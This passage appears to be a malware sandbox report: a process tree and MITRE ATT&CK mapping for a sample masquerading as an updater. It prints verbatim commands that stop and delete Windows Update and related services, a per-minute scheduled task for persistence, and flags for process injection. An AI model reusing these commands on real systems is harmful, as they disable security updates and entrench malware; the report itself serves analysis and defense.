    PID:4224
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:4688
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:3196
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:4332
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:4252
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:3056
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:2480
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:4376
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:1720
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:1308
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:1324
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:4624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }
  2⤵
  PID:3208
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC
    3⤵
    PID:4316

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 3124 -ip 3124
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1460

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
1⤵
- Creates scheduled task(s)
PID:3644

C:\Program Files\Notepad\Chrome\updater.exe
"C:\Program Files\Notepad\Chrome\updater.exe"
1⤵
- Executes dropped EXE
PID:3852

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery